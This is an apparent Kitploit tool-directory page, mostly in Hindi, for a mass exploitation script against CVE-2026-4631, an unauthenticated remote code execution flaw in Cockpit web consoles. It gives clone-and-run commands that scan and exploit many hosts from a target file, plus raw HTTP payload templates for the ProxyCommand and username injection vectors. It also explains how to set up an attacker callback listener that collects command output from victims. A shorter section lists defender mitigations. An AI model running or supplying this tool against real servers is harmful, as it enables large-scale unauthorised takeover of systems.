Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-4631-cockpit-RCE — SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन | Cockpit संस्करण 327 – 359 | CVSS 9.8 गंभीर | CWE-78 | Kitploit
उपकरण/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
भेद्यता स्कैनरपेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूल
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन | Cockpit संस्करण 327 – 359 | CVSS 9.8 गंभीर | CWE-78

रिपॉजिटरी देखें
212 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-4631 — Cockpit मास एक्सप्लॉइट टूल

SSH कमांड-लाइन आर्गुमेंट इंजेक्शन के माध्यम से अनऑथेंटिकेटेड रिमोट कोड एक्सीक्यूशन Cockpit संस्करण 327 – 359 | CVSS 9.8 क्रिटिकल | CWE-78

CVE-2026-4631 के लिए Cockpit वेब सर्विस (cockpit-ws, पोर्ट 9090) पर मास एक्सप्लॉइटेशन टूल। वल्नरेबिलिटी स्कैन मोड, बिल्ट-इन HTTP कॉलबैक लिसनर के माध्यम से कमांड आउटपुट कैप्चर के साथ RCE मोड, --auto मोड (डिफ़ॉल्ट कमांड id के साथ एक ही बार में स्कैन + एक्सप्लॉइट), बिना पोर्ट वाले टार्गेट के लिए पोर्ट :9090 ऑटो-एड, दोनों अटैक वेक्टर (ProxyCommand + यूज़रनेम %r इंजेक्शन), फ़ाइल से मास टार्गेट, कॉन्करेंसी थ्रेडिंग, और संरचित परिणाम आउटपुट सपोर्ट करता है।

लेखक: 0xNuts


क्विक स्टार्ट

क्लोन और इंस्टॉल करें

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

टार्गेट तैयार करें

targets.txt संपादित करें — एक पंक्ति में एक होस्ट। यदि पोर्ट नहीं है तो :9090 स्वचालित रूप से जोड़ा जाता है:

192.168.1.10
cockpit.example.com
https://manage.lab.local

चलाएँ (AUTO मोड — अनुशंसित)

# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

अन्य मोड

# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

कॉलबैक नोट्स

CVE-2026-4631 एक blind RCE है — कमांड का आउटपुट HTTP रिस्पॉन्स में वापस नहीं आता। टूल आउटपुट कैप्चर करने के लिए बिल्ट-इन HTTP लिसनर (डिफ़ॉल्ट पोर्ट 8888) का उपयोग करता है। सुनिश्चित करें:

  1. --callback-ip वह IP है जो टार्गेट से रीचेबल हो (127.0.0.1 नहीं)
  2. फ़ायरवॉल इनबाउंड TCP पोर्ट 8888 की अनुमति दे (या कस्टम --listener-port)
  3. टार्गेट अटैकर के IP तक आउटबाउंड HTTP कर सके

फिक्स / मिटिगेशन के उपाय (डिफेंडर)

1. Cockpit अपग्रेड करें (अनिवार्य)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. रिमोट लॉगिन बंद करें (वर्कअराउंड)

/etc/cockpit/cockpit.conf संपादित करें:

[WebService]
LoginTo = false

सर्विस रीस्टार्ट करें:

sudo systemctl restart cockpit

3. नेटवर्क सेगमेंटेशन

पोर्ट 9090 को केवल मैनेजमेंट नेटवर्क तक सीमित करें:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. OpenSSH >= 9.6 में अपग्रेड करें

अर्ली होस्टनेम वैलिडेशन के माध्यम से Vector 1 (ProxyCommand इंजेक्शन) को मिटिगेट करता है:

ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. मैनुअल पैच (बैकपोर्ट)

यदि 360 में अपग्रेड नहीं कर सकते, तो पैच कमिट लागू करें:

  • cockpit 9d0695647 — beiboot.py और cockpitauth.c में -- सेपरेटर जोड़ें
  • ferny 44ec511c99 — session.py में -- जोड़ें

पैच विवरण: docs/PATCH_ANALYSIS.md देखें


सामग्री सूची

  1. वल्नरेबिलिटी सारांश
  2. अटैक वेक्टर
  3. एक्सप्लॉइटेशन पूर्वापेक्षाएँ
  4. इंस्टॉलेशन
  5. उपयोग
  6. ऑपरेशन मोड
  7. निष्पादन उदाहरण
  8. आउटपुट फॉर्मेट
  9. टूल आर्किटेक्चर
  10. फ़ाइल संरचना
  11. ब्लाइंड RCE कैप्चर तंत्र
  12. डिटेक्शन और मिटिगेशन
  13. कानूनी अस्वीकरण
  14. संदर्भ

वल्नरेबिलिटी सारांश

फ़ील्डविवरण
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
Severityक्रिटिकल (CVSS 9.8)
CWECWE-78 — OS कमांड इंजेक्शन
AffectedCockpit 327 – 359
Fixed inCockpit 360+
Auth requiredनहीं (प्री-ऑथेंटिकेशन)
ReporterJelle van der Waa
Servicecockpit-ws, डिफ़ॉल्ट पोर्ट 9090

Cockpit v327 ने cockpit-ssh (libssh) को python3 -m cockpit.beiboot से बदल दिया जो सिस्टम OpenSSH ssh क्लाइंट को इनवोक करता है। यूज़र-नियंत्रित इनपुट — URL पाथ से होस्टनेम और Authorization: Basic हेडर से यूज़रनेम — बिना सैनिटाइज़ेशन और बिना -- end-of-options सेपरेटर के ssh को पास किया जाता है। इंजेक्शन क्रेडेंशियल वेरिफिकेशन से पहले होता है, इसलिए वैध लॉगिन की आवश्यकता नहीं होती।


अटैक वेक्टर

वेक्टर 1 — ProxyCommand इंजेक्शन (प्राथमिक)

URL पाथ से होस्टनेम को SSH विकल्प -oProxyCommand=<cmd> के साथ इंजेक्ट किया जाता है।

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSH -oProxyCommand=<cmd> को विकल्प के रूप में पार्स करता है और <cmd> को ProxyCommand के रूप में एक्सीक्यूट करता है। कमांड cockpit-ws यूज़र प्रोसेस के रूप में चलती है।

पूर्वापेक्षा: टार्गेट पर OpenSSH < 9.6। OpenSSH 9.6+ में अर्ली होस्टनेम वैलिडेशन होता है जो मेटाकैरेक्टर्स को ब्लॉक करता है।

वेक्टर 2 — यूज़रनेम %r टोकन इंजेक्शन (द्वितीयक)

Authorization: Basic हेडर से यूज़रनेम को शेल कमांड के साथ इंजेक्ट किया जाता है।

GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSH Match exec डायरेक्टिव में %r को यूज़रनेम के साथ एक्सपैंड करता है → शेल इंजेक्टेड कमांड को एक्सीक्यूट करता है।

पूर्वापेक्षा: टार्गेट ssh_config में %r टोकन के साथ Match exec डायरेक्टिव हो।


एक्सप्लॉइटेशन पूर्वापेक्षाएँ

अटैकर पक्ष (टूल चलाने वाली मशीन)

  • Python 3.8+
  • Cockpit टार्गेट से रीचेबल IP (कॉलबैक लिसनर के लिए)
  • लिसनर के लिए खुला पोर्ट (डिफ़ॉल्ट 8888)
  • फ़ायरवॉल टार्गेट से लिसनर पोर्ट तक इनबाउंड की अनुमति दे

टार्गेट पक्ष (Cockpit इंस्टेंस)

  • Cockpit संस्करण 327 – 359
  • पोर्ट 9090 रीचेबल
  • रिमोट लॉगिन फीचर (LoginTo) डिसेबल न हो
  • Vector 1 के लिए: OpenSSH < 9.6
  • Vector 2 के लिए: Match exec %r के साथ ssh_config

इंस्टॉलेशन

# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

निर्भरताएँ

  • requests>=2.31 — एक्सप्लॉइट रिक्वेस्ट के लिए HTTP क्लाइंट
  • colorama>=0.4 — रंगीन टर्मिनल आउटपुट

लिसनर के लिए कोई अतिरिक्त निर्भरता नहीं है (stdlib http.server + threading का उपयोग करता है)।


उपयोग

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
टूल डाउनलोड करें